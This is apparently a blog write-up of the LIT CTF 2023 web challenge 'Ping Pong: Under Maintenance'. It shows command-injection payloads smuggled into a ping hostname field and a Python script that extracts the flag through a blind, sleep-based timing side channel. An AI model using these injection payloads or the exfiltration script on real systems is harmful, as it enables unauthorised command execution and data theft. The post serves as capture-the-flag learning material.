Post

LIT CTF 2023 - Ping Pong: Under Maintenance

Description

Category: Web

The website seems to be under maintenance.

ping-pong-under-maintenance/ping-pong-under-maintenance.zip

Resolution

1. Sleep injection

Same source code as Ping Pong but this time we don’t have access to commands output and outbound connections are disabled.

In addition, flag.txt was not at the root of the server folder (apparently it was only for me, other people could find it at the root).

I knew it by sending this payload:

1
-h || if [ -f "flag.txt" ]; then sleep 5; fi

which becomes on server:

1
ping -c 3 -h || if [ -f "flag.txt" ]; then sleep 5; fi

The server didn’t sleep for 5 seconds and that’s how I found out that flag.txt wasn’t at the root.

I used the sleep technique to try to find where flag.txt is located but I couldn’t find it.

2. Data exfiltration

Even though we don’t know where the file is, we can still find it recursively with grep.

grep allows us to find a string inside files recursively. We know the flag starts with LITCTF{ so the command to check if the flag exists in the entier folder is:

1
2
3
4
# -r: recursive search
# -h: don't print the file path and the filename
$ grep -r -h 'LITCTF{'
LITCTF{redacted}

Now, we combine grep with sleep to ‘guess’ each character of the flag:

1
2
# if the flag starts with 'LITCTF{a' then the condition is true and it will sleep
$ if [ $(grep -r -h 'LITCTF{a') ]; then sleep 5; fi

I wrote a Python script to automatize it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import time
import requests

charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'

URL = "http://34.130.180.82:59378/"
flag = "LITCTF{"

while True:
    for c in charset:
        payload = f"-h || if [ $(grep -r -h '{flag+c}') ]; then sleep 1.5; fi"
        
        t = time.time()
        response = requests.post(URL, data={'hostname': payload})
        
        if time.time() - t > 1:
            flag += c
            print(flag)
            break
    
    if flag.endswith('}'):
        print(f"Flag recovered: {flag}")
        break

After a while we exfiltrate the entire flag:

1
2
3
4
5
6
7
8
9
10
11
12
LITCTF{c
LITCTF{c4
LITCTF{c4r
LITCTF{c4re
LITCTF{c4ref
LITCTF{c4refu
LITCTF{c4refu1
LITCTF{c4refu1_
LITCTF{c4refu1_f
LITCTF{c4refu1_fr
LITCTF{c4refu1_fr}
Flag recovered: LITCTF{c4refu1_fr}

LITCTF{c4refu1_fr}

This post is licensed under CC BY 4.0 by the author.